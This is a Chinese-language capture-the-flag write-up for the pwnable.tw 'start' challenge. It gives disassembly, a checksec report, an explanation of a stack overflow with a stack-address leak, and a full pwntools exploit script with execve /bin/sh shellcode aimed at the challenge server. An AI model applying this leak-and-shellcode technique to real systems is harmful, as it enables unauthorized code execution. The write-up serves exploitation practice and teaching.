没有源程序,ida查看,发现整个程序非常精简,完全使用int 80h的系统中断实现命令。
char start()
{
char result; // al
result = 3;
__asm
{
int 80h; //LINUX - sys_write
int 80h; //LINUX -
}
return result;
}
汇编部分:
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
程序共使用了两次系统中断,功能分别为sys_write和sys_read
功能就是提示输入后,读入一个字符串到stack
漏洞是一个非常基础的bof漏洞
首先使用checksec对程序进行检查:
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
可以看到程序几乎没有防护措施,那么就可以利用最舒服的shellcode攻击了,将shellcode读入到程序,并令pc指针指向栈中对应的位置,执行以getshell。
这个攻击需要考虑的核心问题是,如何确定返回的地址?
我们要返回的目标是stack,而stack的栈帧由esp和ebp保存
仔细查看程序的汇编代码,发现在程序开始执行时,就有push esp的操作,也就是说程序的栈的地址已经存放在了栈中
这里我们记这个存入的esp值为old_esp
那么我们就可以利用sys_write来leak栈的地址,从而确定我们的返回地址了。
sys_write调用,是输出以ecx为指针指向的字符串。
本程序中,直接采用了
mov ecx,esp
的方式来将目标字符串地址传递给ecx。
而且巧合的是,当我们的函数ret之后,esp指向的内存正好就是 我们之前提到的old_esp值,那么如果我们直接返回到mov ecx,esp处,此时ecx的值,就会是“指向old_esp的指针”了,那么继续运行 调用int 80h时就会输出old_esp的值了
而通过对堆栈的观察,是可以发现堆栈架构中不同部分的绝对地址虽然会变,但是不同部分之间的偏移却是固定的,那么只要我们在gdb中跑一次程序,确定以下old_esp值与我们的shellcode的地址的偏移距离,我们就可以让程序正确的返回到我们需要的shellcode上了!
综上,我们将利用这个溢出漏洞两次,第一次用于leak出old_esp的地址,第二次就是使pc返回到shellcode,从而getshell
以下使python实现:
from pwn import *
import time
#io=process('./start')
#gdb.attach(io,"b*_start+55")
io=remote("chall.pwnable.tw",10000)
io.recvuntil(':')
io.send('a'*20+p32(0x08048087))
time.sleep(3)
addr=u32(io.recv(4))+0x14
shellcode='\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'
io.sendline('a'*20+p32(addr)+shellcode)
#io.sendline(cyclic(100))
io.interactive()